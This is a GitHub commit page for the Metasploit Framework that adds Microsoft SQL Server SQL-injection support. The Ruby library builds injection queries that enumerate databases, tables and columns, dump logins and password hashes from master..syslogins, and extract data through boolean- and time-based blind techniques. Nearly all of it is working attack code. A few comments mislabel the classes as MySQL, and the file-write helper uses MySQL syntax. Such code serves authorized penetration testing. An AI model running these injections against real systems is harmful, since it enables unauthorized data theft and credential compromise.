Skip to content

Commit 6d3ccab

Browse files
committed
Land #16435, add Microsoft SQL Server sqli support
2 parents 87e7e5c + 90937e6 commit 6d3ccab

File tree

5 files changed

+349
-53
lines changed

5 files changed

+349
-53
lines changed
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
module Msf::Exploit::SQLi::Mssqli
2+
end
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
#
2+
# Boolean-Based Blind SQL injection support for MySQL
3+
#
4+
class Msf::Exploit::SQLi::Mssqli::BooleanBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
5+
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
6+
7+
#
8+
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
9+
# the values returned by the bloc for some boolean queries are correct.
10+
#
11+
def test_vulnerable
12+
out_true = blind_request('1=1')
13+
out_false = blind_request('1=2')
14+
out_true && !out_false
15+
end
16+
end
Lines changed: 292 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,292 @@
1+
# coding: ascii-8bit
2+
3+
require 'base64'
4+
#
5+
# This class represents a Microsoft SQL Server Injection object, its primary purpose is to provide the common queries
6+
# needed when performing SQL injection.
7+
# Instantiate it only if you get the query results of your SQL injection returned on the response.
8+
#
9+
module Msf::Exploit::SQLi::Mssqli
10+
class Common < Msf::Exploit::SQLi::Common
11+
#
12+
# Encoders supported by Microsoft SQL Server
13+
# Keys are MSSQL function names, values are decoding procs in Ruby
14+
#
15+
ENCODERS = {
16+
hex: {
17+
encode: 'master.dbo.fn_varbintohexstr(CAST(^DATA^ as varbinary(max)))',
18+
decode: proc { |data| Rex::Text.hex_to_raw(data.start_with?('0x') ? data[2..-1] : data) }
19+
}
20+
}.freeze
21+
22+
#
23+
# See SQLi::Common#initialize
24+
#
25+
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
26+
opts[:concat_separator] ||= ','
27+
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
28+
# if it's a String or a Symbol, use a predefined encoder if it exists
29+
opts[:encoder] = opts[:encoder].downcase.intern
30+
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
31+
end
32+
super
33+
end
34+
35+
#
36+
# Query the Microsoft SQL Server version
37+
# @return [String] The Microsoft SQL Server version in use
38+
#
39+
def version
40+
call_function('@@VERSION')
41+
end
42+
43+
#
44+
# Query the current database name
45+
# @return [String] The name of the current database
46+
#
47+
def current_database
48+
call_function('DB_NAME()')
49+
end
50+
51+
#
52+
# Query the hostname
53+
# @return [String] The hostname of the server running Microsoft SQL Server
54+
#
55+
def hostname
56+
call_function('@@SERVERNAME')
57+
end
58+
59+
# Query the current user
60+
# @return [String] The username of the current user
61+
#
62+
def current_user
63+
call_function('user_name()')
64+
end
65+
66+
#
67+
# Query the names of all the existing databases
68+
# @return [Array] An array of Strings, the database names
69+
#
70+
def enum_database_names
71+
dump_table_fields('master..sysdatabases', %w[name]).flatten
72+
end
73+
74+
#
75+
# Query the names of the tables in a given database
76+
# @param database [String] the name of a database, or nil or an empty string for the current database
77+
# @return [Array] An array of Strings, the table names in the given database
78+
#
79+
def enum_table_names(database = '')
80+
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
81+
dump_table_fields(sysobjects_tbl, %w[name], "xtype='U'").flatten
82+
end
83+
84+
def enum_view_names(database = '')
85+
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
86+
dump_table_fields(sysobjects_tbl, %w[name], "xtype='V'").flatten
87+
end
88+
89+
#
90+
# Query the mssql users (their username and password), this might require root privileges.
91+
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password
92+
#
93+
def enum_dbms_users
94+
# might require root privileges
95+
dump_table_fields('master..syslogins', %w[name password])
96+
end
97+
98+
#
99+
# Query the column names of the given table in the given database
100+
# @param table_name [String] the name of the table of which you want to query the column names, can be: database.table
101+
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
102+
#
103+
def enum_table_columns(table_name)
104+
table_schema_condition = ''
105+
if table_name.include?('.')
106+
database, table_name = table_name.split(/\.{1,2}/)
107+
database += '..'
108+
else
109+
database = ''
110+
end
111+
dump_table_fields("#{database}syscolumns", %w[name],
112+
"id=(select id from #{database}sysobjects where name='#{table_name}')").flatten
113+
end
114+
115+
#
116+
# Query the given columns of the records of the given table, that satisfy an optional condition
117+
# @param table [String] The name of the table to query
118+
# @param columns [Array] The names of the columns to query
119+
# @param condition [String] An optional condition, return only the rows satisfying it
120+
# @param num_limit [Integer] An optional maximum number of results to return
121+
# @return [Array] An array, where each element is an array of strings representing a row of the results
122+
#
123+
def dump_table_fields(table, columns, condition = '', num_limit = 0)
124+
return '' if columns.empty?
125+
126+
columns = columns.map do |col|
127+
col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))"
128+
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
129+
end.join("+'#{@second_concat_separator}'+")
130+
unless condition.empty?
131+
condition = ' where ' + condition
132+
end
133+
num_limit = num_limit.to_i
134+
limit = num_limit > 0 ? " top #{num_limit}" : ''
135+
retrieved_data = nil
136+
identifier_generator = Rex::RandomIdentifier::Generator.new
137+
if @safe
138+
# no group_concat, leak one row at a time
139+
count_item = 'cast(count(1) as varchar(max))'
140+
count_item = @encoder ? @encoder[:encode].sub(/\^DATA\^/, count_item) : count_item
141+
row_count = run_sql("select #{count_item} from #{table}#{condition}")
142+
row_count = @encoder ? @encoder[:decode].call(row_count).to_i : row_count.to_i
143+
num_limit = row_count if num_limit == 0 || row_count < num_limit
144+
# generate a random alias for every column name
145+
item_alias, row_alias, tab_alias = 3.times.map { identifier_generator.generate }
146+
retrieved_data = num_limit.times.map do |current_row|
147+
if @truncation_length
148+
truncated_query("select top(1) substring(#{item_alias},^OFFSET^,#{@truncation_length}) from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
149+
else
150+
run_sql("select top(1) #{item_alias} from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
151+
end
152+
end
153+
elsif num_limit > 0
154+
# if limit > 0, an alias will be necessary
155+
alias1, alias2 = 2.times.map { identifier_generator.generate }
156+
if @truncation_length
157+
retrieved_data = truncated_query("select substring(string_agg(#{alias1}, '#{@concat_separator}')," \
158+
"^OFFSET^,#{@truncation_length}) from (select #{limit}#{columns} #{alias1} from #{table}"\
159+
"#{condition}) #{alias2}").split(@concat_separator || ',')
160+
else
161+
retrieved_data = run_sql("select string_agg(#{alias1},'#{@concat_separator}')"\
162+
" from (select #{limit}#{columns} #{alias1} from #{table}#{condition}) #{alias2}").split(@concat_separator || ',')
163+
end
164+
elsif @truncation_length
165+
retrieved_data = truncated_query("select #{limit}substring(string_agg(#{columns},'#{@concat_separator}')," \
166+
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}").split(@concat_separator || ',')
167+
else
168+
retrieved_data = run_sql("select #{limit}string_agg(#{columns},'#{@concat_separator}')" \
169+
" from #{table}#{condition}").split(@concat_separator || ',')
170+
end
171+
172+
retrieved_data.map do |row|
173+
row = row.split(@second_concat_separator)
174+
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
175+
end
176+
end
177+
178+
#
179+
# Checks if the target is vulnerable (if the SQL injection is working fine), by checking that
180+
# queries that should return known results return the results we expect from them
181+
#
182+
def test_vulnerable
183+
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
184+
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
185+
run_sql("select '#{random_string}'") == random_string
186+
end
187+
188+
#
189+
# Attempt writing data to the file at the given path
190+
#
191+
def write_to_file(fpath, data)
192+
run_sql("select '#{data}' into dumpfile '#{fpath}'")
193+
end
194+
195+
private
196+
197+
#
198+
# Helper method used in cases where the response is truncated.
199+
# @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
200+
# @return [String] The query result
201+
#
202+
def truncated_query(query)
203+
result = [ ]
204+
offset = 1
205+
loop do
206+
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
207+
offset += @truncation_length # should be same as @truncation_length for most cases
208+
result << slice
209+
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
210+
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
211+
break if slice.length < @truncation_length
212+
end
213+
result.join
214+
end
215+
216+
#
217+
# Checks the options specific to Microsoft SQL Server (if any)
218+
#
219+
def check_opts(opts)
220+
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
221+
raise ArgumentError, 'Unsupported encoder'
222+
end
223+
224+
super
225+
end
226+
227+
def call_function(function)
228+
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
229+
output = nil
230+
if @truncation_length
231+
output = truncated_query("select substring(#{function},^OFFSET^,#{@truncation_length})")
232+
else
233+
output = run_sql("select #{function}")
234+
end
235+
output = @encoder[:decode].call(output) if @encoder
236+
output
237+
end
238+
239+
def blind_detect_length(query, timebased)
240+
if_function = ''
241+
sleep_part = ''
242+
if timebased
243+
if_function = 'if(' + if_function
244+
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
245+
end
246+
i = 0
247+
output_length = 0
248+
loop do
249+
output_bit = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)&cast(#{1 << i} as bigint)=0#{sleep_part}")
250+
output_length |= (1 << i) unless output_bit
251+
i += 1
252+
stop = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)/cast(#{1 << i} as bigint)=0#{sleep_part}")
253+
break if stop
254+
end
255+
output_length
256+
end
257+
258+
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
259+
if_function = ''
260+
sleep_part = ''
261+
if timebased
262+
if_function = 'if(' + if_function
263+
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
264+
end
265+
output = length.times.map do |j|
266+
current_character = known_bits
267+
bits_to_guess.times do |k|
268+
# the query below: the inner substr returns a character from the result, the outer returns a bit of it
269+
output_bit = blind_request("#{if_function}ascii(substring(cast((#{query}) as varchar(max)), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}")
270+
current_character |= (1 << k) unless output_bit
271+
end
272+
current_character.chr
273+
end.join
274+
output
275+
end
276+
277+
#
278+
# Encodes strings in the query string as hexadecimal numbers
279+
#
280+
def hex_encode_strings(query)
281+
# for more encoding capabilities, run code at the beginning of your block
282+
query.gsub(/'.*?'|".*?"/) do |match|
283+
str = match[1..-2]
284+
if str.empty?
285+
"left(char(#{rand(0..255)}),0)"
286+
else
287+
str.each_codepoint.map { |code| "char(#{code})" }.join('+')
288+
end
289+
end
290+
end
291+
end
292+
end
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#
2+
# Time-Based Blind SQL injection support for MySQL
3+
#
4+
class Msf::Exploit::SQLi::Mssqli::TimeBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
5+
include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
6+
7+
#
8+
# This method checks if the target is vulnerable to Blind time-based injection by checking if
9+
# the target sleeps only when a given condition is true.
10+
#
11+
def test_vulnerable
12+
# run_sql and check if output is what's expected, or just check for delays?
13+
out_true = blind_request("if(1=1) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
14+
out_false = blind_request("if(1=2) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
15+
out_true && !out_false
16+
end
17+
end

0 commit comments

Comments
 (0)